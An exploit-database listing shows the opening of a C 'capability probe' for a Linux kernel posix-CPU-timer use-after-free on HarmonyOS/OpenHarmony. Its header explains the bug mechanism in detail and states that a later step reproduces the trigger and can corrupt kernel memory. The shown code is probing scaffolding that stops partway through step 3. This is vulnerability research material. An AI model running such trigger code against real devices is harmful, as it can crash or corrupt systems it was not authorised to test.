Exploit database

GH-d6ec28ab16bf0e55f0a0af4c85719b3e

yodontan/cve-2026-98260-harmonyos-applicability

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

60 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/probe/probe.c

C · 99,528 bytes
/*
 * probe.c -- CVE-2026-98260 capability probe (HarmonyOS / OpenHarmony, aarch64)
 *
 * PURPOSE
 *   Establish, empirically and step by step, WHICH of the kernel primitives that
 *   the CVE-2026-98260 trigger sequence depends on actually exist and behave as
 *   expected on the target kernel.  This is an INSTRUMENT, not an exploit: it
 *   never sprays, never reclaims or fabricates kernel objects, and never tries to
 *   escalate privileges; what it reports is plain, documented syscalls and their
 *   return values.  THAT DESCRIBES THIS FILE, and not the public tree as a whole:
 *   the tree also carries the app-domain variant, which adds a bounded
 *   reclamation spray and is used as a corruption-DETECTION instrument
 *   (appdomain/probe_windowentry.c; tools/probe/README.md section 2.1).  It is
 *   not an exploit either, and its own header says so.
 *
 *   Two qualifications, so that claim is not read as more passive than it is:
 *     (a) it is NOT a purely read-only observer -- it creates threads, processes,
 *         timers and VMAs, re-executes itself, and in step 7 sends a
 *         thread-directed SIGKILL; and
 *     (b) on a kernel that is genuinely affected, step 7 reproduces the trigger
 *         topology and can therefore trip the underlying use-after-free.  The
 *         bound is NOT "once": step 7 is a loop over a configurable attempt
 *         count (default PROBE_CFG_DEFAULT_ATTEMPTS, maximum _MAX_), and every
 *         attempt that enters the window can land once, so the upper bound for
 *         a run is that run's attempt count.  This file holds no corruption
 *         step of its own and never tries to exploit, shape or repeat that --
 *         but reproducing the topology IS the act that can make the kernel
 *         corrupt memory, so a run is not risk-free for the target.  See the
 *         SAFETY bullet below, the step-7 notes, and the [INFO 7] line it
 *         prints.
 *
 *   The bug being instrumented (Linux kernel, introduced 5.7, fixed by
 *   acb03d388181, not fixed in any 5.10.y release):
 *
 *     A non-leader thread B of a multithreaded process arms a per-thread CPU
 *     timer (timer_create(CLOCK_THREAD_CPUTIME_ID) + timer_settime()).  B then
 *     calls execve().  de_thread() -> exchange_tids(B, leader) hands B the
 *     leader's PID/TGID, and release_task(leader) drops the PIDTYPE_PID
 *     association for B's original PID.  The k_itimer still holds a reference
 *     to that struct pid, and its timerqueue node is still linked in B's
 *     posix_cputimers rbtree.  Because bprm->point_of_no_return was already
 *     set, a racing thread-directed SIGKILL makes mmap_read_lock_killable()
 *     inside exec_mmap() return -EINTR, so begin_new_exec() goes to do_exit()
 *     without ever reaching the posix_cpu_timers_exit(me) cleanup that sits
 *     after exec_task_namespaces().
 *
 *     exit_itimers() -> posix_timer_delete() -> posix_cpu_timer_del() then
 *     calls cpu_timer_task_rcu() -> pid_task(), which returns NULL because the
 *     PIDTYPE_PID association is gone, so disarm_timer() is skipped and the
 *     deletion reports success.  posix_timer_unhash_and_free() frees the
 *     k_itimer with kfree_rcu() while its rb_node is STILL LINKED.  When the
 *     reaper's wait4() -> release_task() -> posix_cpu_timers_exit() ->
 *     cleanup_timerqueue() -> timerqueue_del() -> rb_erase() runs, the kernel
 *     writes through the freed node: a use-after-free WRITE.
 *
 *   Step 7 therefore reproduces the trigger TOPOLOGY (non-leader thread, armed
 *   per-thread CPU timer, execve of /proc/self/exe, thread-directed SIGKILL
 *   from a racing killer, reaping wait4()) but stops exactly there.  On an
 *   affected kernel running step 7 may trip the UAF -- up to once per attempt
 *   that enters the window, so the run's attempt count is the upper bound;
 *   the operator should collect dmesg afterwards.  Nothing in this program
 *   dereferences or constructs freed memory.
 *
 * OUTPUT GRAMMAR
 *   One canonical, machine-parseable line per step:
 *       [STEP n] <name>: RESULT=<ok|fail> errno=<n>(<name>) detail=<...>
 *   Supporting data on separate lines:
 *       [INFO n] <text>
 *   The re-exec'd copy of this program announces itself with:
 *       [EXEC-LANDED] pid=.. tid=.. pre_tgid=.. pre_exec_tid=.. tid_exchanged=.. threads=..
 *   The summary block:
 *       [SUMMARY] <id> <name>: <MET|NOT-MET|UNKNOWN> detail=<...>
 *       ... followed by a human-readable table and notes.
 *
 * SAFETY
 *   - alarm() watchdog (240 s) plus a per-step deadline; every wait loop is
 *     bounded by a CLOCK_MONOTONIC deadline and/or an iteration cap.
 *   - No infinite loop exists in this file.  Forked/CLONE_VM helpers all carry
 *     their own absolute deadlines so they cannot outlive the run.
 *   - It is NOT risk-free for the target.  On a kernel that is genuinely
 *     affected, step 7 reproduces the trigger topology and may trip the
 *     underlying use-after-free -- up to once per attempt that enters the
 *     window, so the upper bound for a run is that run's attempt count (see (b)
 *     in PURPOSE above).  Collect the kernel log afterwards.
 *   - exit status is 0 on completion whatever the individual steps reported.
 *
 * BUILD
 *   clang --target=aarch64-linux-ohos --sysroot=<sysroot> -static -O2 \
 *         -Wall -Wextra -o probe probe.c
 *   (see build.ps1 and README.md)
 *
 * ------------------------------------------------------------------------
 * RELEASED COPY -- read this before comparing against any other copy.
 *
 *   This file is the public-tier release of the instrument.  It is the same
 *   program, with one class of change and two additions:
 *
 *   1. CONSTANTS HOISTED INTO ONE FILE.  Every device-specific or target-
 *      specific value is read from probe_config.h: the exec-candidate list
 *      (step 6d), the step-7 exec target, the kernel-log path, the real-time
 *      signal offset, the bounds, and the harness limits.  The paths that are
 *      part of the upstream ABI (the /proc/self subtree, /dev/null) are
 *      deliberately still literals here.  The values in probe_config.h are the
 *      tested build's values and are PUBLISHED; read that file's opening
 *      comment for what is published, what stays withheld, and which values are
 *      the reader's own to supply.
 *
 *   2. STEP-7 TARGET IS SELECTABLE, and may be overridden per run with
 *      PROBE_TRIG_EXECS=<path>[,<path>...].  Step 7 originally execve()s
 *      /proc/self/exe unconditionally, which on a hardened target is refused
 *      and therefore never reaches the window under test.  Selection is a
 *      precondition of using this instrument at all; it is not a change to the
 *      mechanism.
 *
 *   3. STEP-7 CONTROL ARM IS SELECTABLE.  PROBE_TRIG_NOKILL=1 keeps the entire
 *      topology - same VMAs, same lockers, same non-leader thread, same armed
 *      per-thread CPU timer - and only declines to spawn the killer.  The
 *      landed image then gets to run, which is what makes the treatment arm's
 *      missing landing marker interpretable.  Without this arm the treatment
 *      result is unfalsifiable; see docs/METHODOLOGY.md, stage 5.
 *
 *   Everything else - every step, every printed field, the output grammar -
 *   is unchanged, so a report produced by this source is comparable field for
 *   field with the reports the study published.  Two printed lines gained
 *   fields ([INFO 0] config, and [INFO 7] target), and no field was removed.
 *   The one exception is prose, not fields.  v1.0.1 reworded two printed NOTES
 *   that had denied any corruption attempt (the FIRST [INFO 7] NOTE, and
 *   NOTE 3 of the step 9 summary; the second [INFO 7] NOTE below is the
 *   de_thread note and was not reworded).  v1.0.2 then replaced the word
 *   "once" in those same two NOTES with the correct bound: step 7 loops over a
 *   configurable attempt count and every attempt that enters the window can
 *   land once, so the run's attempt count is the upper bound, not "once".
 *   The step id cve_trigger_topology_no_corruption and every field are
 *   untouched, so an old transcript still lines up field for field; only those
 *   two notes' wording differs.
 *
 * RELEASE NOTE on the second [INFO 7] NOTE below (the de_thread note).
 *   The NOTE that reads "which can only mean de_thread() ran exchange_tids()"
 *   is this instrument's own wording and is left verbatim here so that old
 *   transcripts stay comparable.  It overstates: a TID that stopped resolving
 *   while execve() had not returned is consistent with the task being inside
 *   the syscall OR at its return boundary, and userspace cannot tell which.
 *   The study withdrew the stronger reading; docs/METHODOLOGY.md (stage 4,
 *   "本项目的自证") records the withdrawal.  Read that NOTE as "the exchange
 *   happened or the boundary was reached", never as "the task is inside".
 */

#define _GNU_SOURCE

#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/wait.h>

/*
 * Every device-specific or target-specific value lives in this header and
 * nowhere else.  See its opening comment for what is published, what stays
 * withheld, and which values belong to the reader rather than to this study.
 */
#include "probe_config.h"

/*
 * The exec-candidate list, generated from probe_config.h so that the list the
 * probe uses and the list the caller edited cannot drift apart.  Declared once,
 * at file scope, because two places need it: step 6d (which tries each entry)
 * and the start-up configuration echo (which must be able to report what the
 * list was).
 */
static const char *const g_exec_cands[] = {
#define PROBE_CFG_CAND(p) p,
	PROBE_CFG_EXEC_CANDIDATES(PROBE_CFG_CAND)
#undef PROBE_CFG_CAND
};
#define N_EXEC_CANDS (sizeof g_exec_cands / sizeof g_exec_cands[0])

/* ------------------------------------------------------------------ */
/* syscall number fallbacks: libc headers may not export the SYS_*      */
/* aliases, and some of these syscalls are optional on the target.      */
/* ------------------------------------------------------------------ */

#ifdef __NR_execve
# ifndef SYS_execve
#  define SYS_execve __NR_execve
# endif
#endif
#ifdef __NR_clone
# ifndef SYS_clone
#  define SYS_clone __NR_clone
# endif
#endif
#ifdef __NR_exit
# ifndef SYS_exit
#  define SYS_exit __NR_exit
# endif
#endif
#ifdef __NR_gettid
# ifndef SYS_gettid
#  define SYS_gettid __NR_gettid
# endif
#endif
#ifdef __NR_tgkill
# ifndef SYS_tgkill
#  define SYS_tgkill __NR_tgkill
# endif
#endif
#ifdef __NR_timer_create
# ifndef SYS_timer_create
#  define SYS_timer_create __NR_timer_create
# endif
#endif
#ifdef __NR_timer_settime
# ifndef SYS_timer_settime
#  define SYS_timer_settime __NR_timer_settime
# endif
#endif
#ifdef __NR_timer_gettime
# ifndef SYS_timer_gettime
#  define SYS_timer_gettime __NR_timer_gettime
# endif
#endif
#ifdef __NR_timer_delete
# ifndef SYS_timer_delete
#  define SYS_timer_delete __NR_timer_delete
# endif
#endif
#ifdef __NR_mprotect
# ifndef SYS_mprotect
#  define SYS_mprotect __NR_mprotect
# endif
#endif
#ifdef __NR_memfd_create
# ifndef SYS_memfd_create
#  define SYS_memfd_create __NR_memfd_create
# endif
#endif

/* musl's sys/mman.h defines these; keep the file compilable elsewhere. */
#ifndef MAP_STACK
# define MAP_STACK 0
#endif
#ifndef MFD_CLOEXEC
# define MFD_CLOEXEC 0x0001U
#endif

/*
 * The kernel's own <linux/sigevent.h> values.  SIGEV_NONE/SIGEV_SIGNAL come
 * from <signal.h>; SIGEV_THREAD_ID is a Linux-only extension that the C
 * library headers in this sysroot do not expose, so define the kernel ABI
 * constant explicitly (it is 4, and it is what the kernel checks).
 */
#ifndef SIGEV_THREAD_ID
# define SIGEV_THREAD_ID 4
#endif

/* ------------------------------------------------------------------ */
/* kernel-shaped struct sigevent                                        */
/* ------------------------------------------------------------------ */
/*
 * The kernel's struct sigevent is 72 bytes on aarch64:
 *     union sigval          8
 *     int sigev_signo       4
 *     int sigev_notify      4
 *     union { int _pad[13]; int _tid; ... }  52 -> padded to 56
 * so the kernel's sizeof(struct sigevent) is 72 bytes on aarch64 (SIGEV_MAX_SIZE
 * is 64, but the union's 8-byte alignment rounds it up).  The kernel copies that
 * many bytes out of user space in do_timer_create().
 *
 * This libc (musl, and likewise the public glibc header) exposes a 64-byte
 * struct sigevent, so handing a libc sigevent straight to a raw syscall would
 * make the kernel over-read by 8 bytes.  For the raw-syscall sub-checks we
 * therefore build the exact kernel layout ourselves.
 *
 * Note also that the kernel's __kernel_timer_t is an int on aarch64, so the raw
 * syscall writes only 4 bytes into the out-parameter.  We pass a zeroed 8-byte
 * slot and pack the low 32 bits into the libc's timer_t, exactly as musl's own
 * timer_create() wrapper does.
 */
struct k_sigevent {
	union {
		int sival_int;
		void *sival_ptr;
	} sigev_value;
	int sigev_signo;
	int sigev_notify;
	union {
		int _pad[13];
		int _tid;               /* sigev_notify_thread_id, for SIGEV_THREAD_ID */
		struct {
			void (*_function)(void *);
			void *_attribute;
		} _sigev_thread;
	} _sigev_un;
};

_Static_assert(sizeof(struct k_sigevent) == 72,
	       "kernel struct sigevent must be 72 bytes on aarch64");

/* ------------------------------------------------------------------ */
/* limits                                                              */
/* ------------------------------------------------------------------ */
/*
 * Only MAX_STEP_NO is defined here: it is the size of this program's own step
 * table, not a property of any target.  Everything else is a build-dependent
 * bound or a safety budget and is therefore read from probe_config.h.
 */

#define MAX_STEP_NO        9
#define DEFAULT_VMA_COUNT  PROBE_CFG_DEFAULT_VMA_COUNT
#define MAX_VMA_COUNT      PROBE_CFG_MAX_VMA_COUNT
#define TRIG_LOCKERS       PROBE_CFG_TRIG_LOCKERS
#define TRIG_STACK_SIZE    PROBE_CFG_TRIG_STACK_SIZE
#define TRIG_MAX_HELPERS   PROBE_CFG_TRIG_MAX_HELPERS
#define WATCHDOG_SECONDS   PROBE_CFG_WATCHDOG_SECONDS
#define DEFAULT_ATTEMPTS   PROBE_CFG_DEFAULT_ATTEMPTS
#define MAX_ATTEMPTS       PROBE_CFG_MAX_ATTEMPTS

/* ------------------------------------------------------------------ */
/* verdicts / cross-step state                                         */
/* ------------------------------------------------------------------ */

enum verdict { V_UNKNOWN = -1, V_NO = 0, V_YES = 1 };

struct precursor {
	const char *id;
	const char *name;
	enum verdict v;
	char detail[200];
};

static struct precursor g_pre[] = {
	{ "P1",  "kernel_is_linux",            V_UNKNOWN, "" },
	{ "P2",  "kernel_release_ge_5_7",      V_UNKNOWN, "" },
	{ "P3",  "kernel_not_fixed_upstream",  V_UNKNOWN, "" },
	{ "P4",  "multithreaded_process",      V_UNKNOWN, "" },
	{ "P5",  "timer_create_thread_cputime",V_UNKNOWN, "" },
	{ "P6",  "timer_settime_gettime",      V_UNKNOWN, "" },
	{ "P7",  "per_thread_timer_nonleader", V_UNKNOWN, "" },
	{ "P8",  "execve_from_nonleader",      V_UNKNOWN, "" },
	{ "P9",  "tgkill_thread_directed",     V_UNKNOWN, "" },
	{ "P10", "wait4_reap_of_target",       V_UNKNOWN, "" },
	{ "P11", "clone_clonevm_helpers",      V_UNKNOWN, "" },
	{ "P12", "mmap_lock_contention",       V_UNKNOWN, "" },
	{ "P13", "proc_self_readable",         V_UNKNOWN, "" },
};
#define N_PRECURSOR (sizeof g_pre / sizeof g_pre[0])

static int pre_index(const char *id)
{
	unsigned i;

	for (i = 0; i < N_PRECURSOR; i++)
		if (strcmp(g_pre[i].id, id) == 0)
			return (int)i;
	return -1;
}

static void set_pre_id(const char *id, enum verdict v, const char *fmt, ...)
	__attribute__((format(printf, 3, 4)));

/*
 * Record a prerequisite verdict by its stable ID rather than by array index.
 * Numeric indices here were a real source of off-by-one mistakes.
 */
static void set_pre_id(const char *id, enum verdict v, const char *f, ...)
{
	va_list ap;
	int idx = pre_index(id);

	if (idx < 0)
		return;
	g_pre[idx].v = v;
	va_start(ap, f);
	vsnprintf(g_pre[idx].detail, sizeof g_pre[idx].detail, f, ap);
	va_end(ap);
}

static char g_sysname[80];
static char g_release[80];
static char g_version[160];
static char g_machine[80];
static int g_is_linux;
static int g_kver_major = -1;
static int g_kver_minor = -1;
static long g_ncpu = -1;
static long g_pagesize = -1;

/* CPU-timer notification signal.  Chosen away from the numbers OHOS's musl
 * reserves for itself (SIGRTMIN+0..SIGRTMIN+5 in this SDK's signal.h). */
static int g_cpu_sig;
static int g_cpu_sig_is_rt;
static int g_sigrtmin, g_sigrtmax;

/* step 3 -> step 4 hand-off */
static timer_t g_t4_timer;
static int g_t4_have;

/* step cross-checks */
static int g_step_ok[MAX_STEP_NO + 1];
static int g_step_ran[MAX_STEP_NO + 1];

/* ------------------------------------------------------------------ */
/* output primitives (write(2) based: unbuffered, ordered, and safe     */
/* to call from a signal handler)                                       */
/* ------------------------------------------------------------------ */

static void out(const char *fmt, ...) __attribute__((format(printf, 1, 2)));

static void out(const char *fmt, ...)
{
	char buf[2048];
	va_list ap;
	int n;

	va_start(ap, fmt);
	n = vsnprintf(buf, sizeof buf, fmt, ap);
	va_end(ap);
	if (n > 0) {
		size_t len = ((size_t)n < sizeof buf) ? (size_t)n : sizeof buf - 1;
		ssize_t w = write(STDOUT_FILENO, buf, len);
		(void)w;
	}
}

static void fmt(char *buf, size_t n, const char *f, ...)
	__attribute__((format(printf, 3, 4)));

static void fmt(char *buf, size_t n, const char *f, ...)
{
	va_list ap;

	va_start(ap, f);
	vsnprintf(buf, n, f, ap);
	va_end(ap);
}

/*
 * Join the exec-candidate list into one comma-separated string, for the
 * start-up configuration echo.  Done at run time from g_exec_cands rather than
 * kept as a second literal, so that editing probe_config.h cannot leave the
 * echo reporting a list the probe does not use.
 */
static void config_candidate_list(char *buf, size_t n)
{
	size_t off = 0;
	size_t i;

	if (n == 0)
		return;
	buf[0] = '\0';
	for (i = 0; i < N_EXEC_CANDS; i++) {
		int k = snprintf(buf + off, n - off, "%s%s",
				 i == 0 ? "" : ",", g_exec_cands[i]);

		if (k <= 0 || (size_t)k >= n - off)
			break;
		off += (size_t)k;
	}
}

static const char *errno_name(int e)
{
	if (e == 0)
		return "OK";
	switch (e) {
	case EPERM:      return "EPERM";
	case ENOENT:     return "ENOENT";
	case ESRCH:      return "ESRCH";
	case EINTR:      return "EINTR";
	case EIO:        return "EIO";
	case ENXIO:      return "ENXIO";
	case E2BIG:      return "E2BIG";
	case ENOEXEC:    return "ENOEXEC";
	case EBADF:      return "EBADF";
	case ECHILD:     return "ECHILD";
	case EAGAIN:     return "EAGAIN";
	case ENOMEM:     return "ENOMEM";
	case EACCES:     return "EACCES";
	case EFAULT:     return "EFAULT";
	case EBUSY:      return "EBUSY";
	case EEXIST:     return "EEXIST";
	case ENODEV:     return "ENODEV";
	case ENOTDIR:    return "ENOTDIR";
	case EISDIR:     return "EISDIR";
	case EINVAL:     return "EINVAL";
	case ENFILE:     return "ENFILE";
	case EMFILE:     return "EMFILE";
	case ENOTTY:     return "ENOTTY";
	case ETXTBSY:    return "ETXTBSY";
	case EFBIG:      return "EFBIG";
	case ENOSPC:     return "ENOSPC";
	case ESPIPE:     return "ESPIPE";
	case EROFS:      return "EROFS";
	case EMLINK:     return "EMLINK";
	case EPIPE:      return "EPIPE";
	case ERANGE:     return "ERANGE";
	case ENAMETOOLONG: return "ENAMETOOLONG";
	case ENOSYS:     return "ENOSYS";
	case ENOTEMPTY:  return "ENOTEMPTY";
	case ELOOP:      return "ELOOP";
	case EOVERFLOW:  return "EOVERFLOW";
	case ETIMEDOUT:  return "ETIMEDOUT";
	case EOPNOTSUPP: return "EOPNOTSUPP";
	case ECANCELED:  return "ECANCELED";
	case EDQUOT:     return "EDQUOT";
	case ENOTRECOVERABLE: return "ENOTRECOVERABLE";
	case EOWNERDEAD: return "ENOTRECOVERABLE/EOWNERDEAD";
	default:         return "UNKNOWN";
	}
}

static void info(int step, const char *f, ...) __attribute__((format(printf, 2, 3)));

static void info(int step, const char *f, ...)
{
	char buf[1536];
	va_list ap;
	int n;

	va_start(ap, f);
	n = vsnprintf(buf, sizeof buf, f, ap);
	va_end(ap);
	if (n < 0)
		return;
	out("[INFO %d] %s\n", step, buf);
}

static void step_report(int step, const char *name, int ok, int errval,
			const char *f, ...)
	__attribute__((format(printf, 5, 6)));

static void step_report(int step, const char *name, int ok, int errval,
			const char *f, ...)
{
	char detail[512];
	va_list ap;

	detail[0] = '\0';
	if (f != NULL) {
		va_start(ap, f);
		vsnprintf(detail, sizeof detail, f, ap);
		va_end(ap);
	}
	out("[STEP %d] %s: RESULT=%s errno=%d(%s) detail=%s\n",
	    step, name, ok ? "ok" : "fail", errval, errno_name(errval),
	    detail[0] ? detail : "-");
	if (step >= 0 && step <= MAX_STEP_NO) {
		g_step_ran[step] = 1;
		g_step_ok[step] = ok ? 1 : 0;
	}
}

/* ------------------------------------------------------------------ */
/* misc helpers                                                        */
/* ------------------------------------------------------------------ */

static long gettid_raw(void)
{
	return syscall(SYS_gettid);
}

static long long now_ms(void)
{
	struct timespec ts;

	memset(&ts, 0, sizeof ts);
	if (clock_gettime(CLOCK_MONOTONIC, &ts) != 0)
		return 0;
	return (long long)ts.tv_sec * 1000LL + (long long)(ts.tv_nsec / 1000000L);
}

static void msleep(long ms)
{
	struct timespec ts;

	if (ms <= 0)
		return;
	ts.tv_sec = ms / 1000;
	ts.tv_nsec = (ms % 1000) * 1000000L;
	(void)nanosleep(&ts, NULL);
}

static void burn_cpu(unsigned long iters)
{
	volatile unsigned long x = 0;
	unsigned long i;

	for (i = 0; i < iters; i++)
		x += i;
	(void)x;
}

static int deadline_passed(long long t0, long long limit_ms)
{
	return (now_ms() - t0) > limit_ms;
}

static int count_threads_self(void)
{
	DIR *d;
	struct dirent *de;
	int n = 0;

	d = opendir("/proc/self/task");
	if (d == NULL)
		return -1;
	while ((de = readdir(d)) != NULL) {
		if (de->d_name[0] == '.' &&
		    (de->d_name[1] == '\0' ||
		     (de->d_name[1] == '.' && de->d_name[2] == '\0')))
			continue;
		n++;
		if (n > 100000)
			break;
	}
	closedir(d);
	return n;
}

static const char *timer_to_str(timer_t t, char *buf, size_t n)
{
	fmt(buf, n, "0x%llx", (unsigned long long)(uintptr_t)t);
	return buf;
}

/* ------------------------------------------------------------------ */
/* signal handling                                                     */
/* ------------------------------------------------------------------ */

static volatile long g_cpu_sig_count;
static volatile long g_cpu_sig_tid;
static volatile int g_watchdog_exit_code;

static void h_cpu_timer(int sig)
{
	(void)sig;
	g_cpu_sig_count = g_cpu_sig_count + 1;
	/* raw syscall: async-signal-safe */
	g_cpu_sig_tid = syscall(SYS_gettid);
}

static void h_watchdog(int sig)
{
	static const char msg[] =
		"[WATCHDOG] wall-clock limit reached, aborting probe cleanly\n";
	ssize_t w;
	int code;

	(void)sig;
	w = write(STDOUT_FILENO, msg, sizeof msg - 1);
	(void)w;
	code = g_watchdog_exit_code;
	_exit(code);
}

static int install_handler(int sig, void (*fn)(int))
{
	struct sigaction sa;

	memset(&sa, 0, sizeof sa);
	sa.sa_handler = fn;
	sa.sa_flags = SA_RESTART;
	if (sigemptyset(&sa.sa_mask) != 0)
		return -1;
	return sigaction(sig, &sa, NULL);
}

static void probe_init_signals(void)
{
	int e_cpu, e_alrm;

	g_sigrtmin = (int)SIGRTMIN;
	g_sigrtmax = (int)SIGRTMAX;

	/*
	 * Offset chosen in probe_config.h.  The reason it is a knob at all: this
	 * SDK's signal.h reserves SIGRTMIN+0..SIGRTMIN+5 for the C runtime, so a
	 * straight port of the published PoC (which uses SIGRTMIN) collides with
	 * it.  A collision is silent - the runtime eats the signal and every
	 * timer measurement then reads "nothing delivered".
	 */
	g_cpu_sig = g_sigrtmin + (int)(PROBE_CFG_RT_SIGNAL_OFFSET);
	if (g_cpu_sig > g_sigrtmax)
		g_cpu_sig = g_sigrtmax;
	if (g_cpu_sig <= g_sigrtmin)
		g_cpu_sig = SIGUSR2;     /* last resort: not an RT signal */
	g_cpu_sig_is_rt = (g_cpu_sig >= g_sigrtmin && g_cpu_sig <= g_sigrtmax);

	e_cpu = install_handler(g_cpu_sig, h_cpu_timer);
	e_alrm = install_handler(SIGALRM, h_watchdog);

	out("[INFO 0] init: SIGRTMIN=%d SIGRTMAX=%d cpu_sig=%d cpu_sig_is_rt=%d "
	    "cpu_sig_offset=%d sigaction_cpu=%d sigaction_alrm=%d pid=%ld tid=%ld\n",
	    g_sigrtmin, g_sigrtmax, g_cpu_sig, g_cpu_sig_is_rt,
	    (int)(PROBE_CFG_RT_SIGNAL_OFFSET),
	    e_cpu, e_alrm, (long)getpid(), gettid_raw());

#ifdef MUSL_SIGNAL_NATIVE_REMOTE
	out("[INFO 0] init: this libc reserves SIGRTMIN+0..+5 for itself "
	    "(NATIVE_REMOTE=%d HOOK=%d UNHOOK=%d NATIVE_LOCAL=%d JSHEAP=%d JSHEAP_PRIV=%d); "
	    "a port of the CVE PoC that uses sigev_signo=SIGRTMIN collides with them\n",
	    (int)MUSL_SIGNAL_NATIVE_REMOTE, (int)MUSL_SIGNAL_HOOK,
	    (int)MUSL_SIGNAL_UNHOOK, (int)MUSL_SIGNAL_NATIVE_LOCAL,
	    (int)MUSL_SIGNAL_JSHEAP, (int)MUSL_SIGNAL_JSHEAP_PRIV);
#else
	out("[INFO 0] init: libc does not advertise OHOS-specific reserved RT signals\n");
#endif
}

/* ================================================================== */
/* STEP 1 -- identity                                                  */
/* ================================================================== */

static void step1_identity(void)
{
	struct utsname u;
	int e = 0;
	long ncpu, pgsz;
	char d[400];

	memset(&u, 0, sizeof u);
	if (uname(&u) != 0)
		e = errno;
	else {
		fmt(g_sysname, sizeof g_sysname, "%s", u.sysname);
		fmt(g_release, sizeof g_release, "%s", u.release);
		fmt(g_version, sizeof g_version, "%s", u.version);
		fmt(g_machine, sizeof g_machine, "%s", u.machine);
	}

	ncpu = sysconf(_SC_NPROCESSORS_ONLN);
	pgsz = sysconf(_SC_PAGESIZE);
	g_ncpu = ncpu;
	g_pagesize = pgsz;
	g_is_linux = (e == 0 && strcmp(g_sysname, "Linux") == 0);

	/* best-effort major.minor out of the release string */
	if (e == 0) {
		int maj = -1, min = -1;
		if (sscanf(g_release, "%d.%d", &maj, &min) == 2) {
			g_kver_major = maj;
			g_kver_minor = min;
		} else if (sscanf(g_release, "%d", &maj) == 1) {
			g_kver_major = maj;
		}
	}

	fmt(d, sizeof d, "sysname=%s release=%s machine=%s ncpu=%ld pagesize=%ld",
	    e ? "-" : g_sysname, e ? "-" : g_release, e ? "-" : g_machine,
	    ncpu, pgsz);
	step_report(1, "identity", e == 0, e, "%s", d);

	info(1, "version=%s", e ? "-" : g_version);
	info(1, "libc_struct_sizes: timer_t=%zu clockid_t=%zu pid_t=%zu void*=%zu "
		"kernel_sigevent=%zu",
	     sizeof(timer_t), sizeof(clockid_t), sizeof(pid_t), sizeof(void *),
	     sizeof(struct k_sigevent));
	info(1, "clock_ids: REALTIME=%d MONOTONIC=%d PROCESS_CPUTIME_ID=%d "
		"THREAD_CPUTIME_ID=%d BOOTTIME=%d",
	     (int)CLOCK_REALTIME, (int)CLOCK_MONOTONIC,
	     (int)CLOCK_PROCESS_CPUTIME_ID, (int)CLOCK_THREAD_CPUTIME_ID,
	     (int)CLOCK_BOOTTIME);
	info(1, "ids: pid=%ld tid=%ld ppid=%ld uid=%ld euid=%ld gid=%ld egid=%ld",
	     (long)getpid(), gettid_raw(), (long)getppid(),
	     (long)getuid(), (long)geteuid(), (long)getgid(), (long)getegid());

	set_pre_id("P1", g_is_linux ? V_YES : V_NO, "sysname=%s", e ? "?" : g_sysname);
}

/* ================================================================== */
/* STEP 2 -- baseline sanity: fork/waitpid and pthread create/join      */
/* ================================================================== */

struct t2_arg {
	long tid;
	long self_tid;
	atomic_int done;
};

static void *t2_thread(void *p)
{
	struct t2_arg *a = (struct t2_arg *)p;

	a->self_tid = gettid_raw();
	a->tid = (long)pthread_self();
	atomic_store(&a->done, 1);
	return (void *)(uintptr_t)0x2a;
}

static void step2_baseline(void)
{
	int e_fork = 0, e_pthread = 0;
	int fork_ok = 0, pthread_ok = 0;
	pid_t p;
	int status = 0;
	long long t0;
	pid_t w;
	struct t2_arg a;
	pthread_t th;
	void *ret = NULL;
	char d[400];

	/* --- fork + waitpid --- */
	p = fork();
	if (p < 0) {
		e_fork = errno;
	} else if (p == 0) {
		/* child: leave immediately with a distinguishable code */
		_exit(42);
	} else {
		t0 = now_ms();
		w = 0;
		for (;;) {
			w = waitpid(p, &status, WNOHANG);
			if (w == p)
				break;
			if (w < 0) {
				e_fork = errno;
				break;
			}
			if (deadline_passed(t0, 5000)) {
				e_fork = ETIMEDOUT;
				(void)kill(p, SIGKILL);
				break;
			}
			msleep(2);
		}
		if (w == p) {
			if (WIFEXITED(status) && WEXITSTATUS(status) == 42)
				fork_ok = 1;
			else
				e_fork = ECHILD;
			info(2, "fork/waitpid: wifexited=%d wexitstatus=%d wifsignaled=%d "
				"wtermsig=%d",
			     WIFEXITED(status) ? 1 : 0,
			     WIFEXITED(status) ? WEXITSTATUS(status) : -1,
			     WIFSIGNALED(status) ? 1 : 0,
			     WIFSIGNALED(status) ? WTERMSIG(status) : -1);
		}
	}

	/* --- pthread create/join, from a genuinely multithreaded process --- */
	memset(&a, 0, sizeof a);
	if (pthread_create(&th, NULL, t2_thread, &a) != 0) {
		e_pthread = errno ? errno : -1;
	} else {
		if (pthread_join(th, &ret) != 0) {
			e_pthread = errno ? errno : -1;
		} else {
			pthread_ok = (atomic_load(&a.done) == 1 &&
				      (uintptr_t)ret == 0x2a);
			if (!pthread_ok)
				e_pthread = ECHILD;
		}
	}

	fmt(d, sizeof d, "fork_waitpid=%s pthread_create_join=%s "
	    "leader_tid=%ld worker_tid=%ld nonleader_tids_differ=%d",
	    fork_ok ? "ok" : "fail", pthread_ok ? "ok" : "fail",
	    gettid_raw(), a.self_tid,
	    (a.self_tid != gettid_raw()) ? 1 : 0);
	step_report(2, "baseline_fork_pthread", (fork_ok && pthread_ok),
		    fork_ok ? e_pthread : e_fork, "%s", d);

	set_pre_id("P4", (fork_ok && pthread_ok) ? V_YES : V_NO,
		"fork_waitpid=%d pthread_create_join=%d", fork_ok, pthread_ok);
}

/* ================================================================== */
/* STEP 3 -- timer_create(CLOCK_THREAD_CPUTIME_ID) from the MAIN thread */
/* ================================================================== */

struct s3_sub {
	const char *label;
	int ok;
	int err;
	timer_t timer;
	int have_timer;
};

static void step3_timer_create_main(void)
{
	struct sigevent sev;
	struct k_sigevent ksev;
	struct s3_sub sub[5];
	int nsub = 0;
	int i;
	int any_ok = 0;
	int best_err = 0;
	char d[400];
	char tb[32];
	long raw_id;

	memset(sub, 0, sizeof sub);
	memset(&sev, 0, sizeof sev);
	memset(&ksev, 0, sizeof ksev);

	/* 3a: libc, SIGEV_NONE */
	sub[nsub].label = "libc_SIGEV_NONE";
	memset(&sev, 0, sizeof sev);
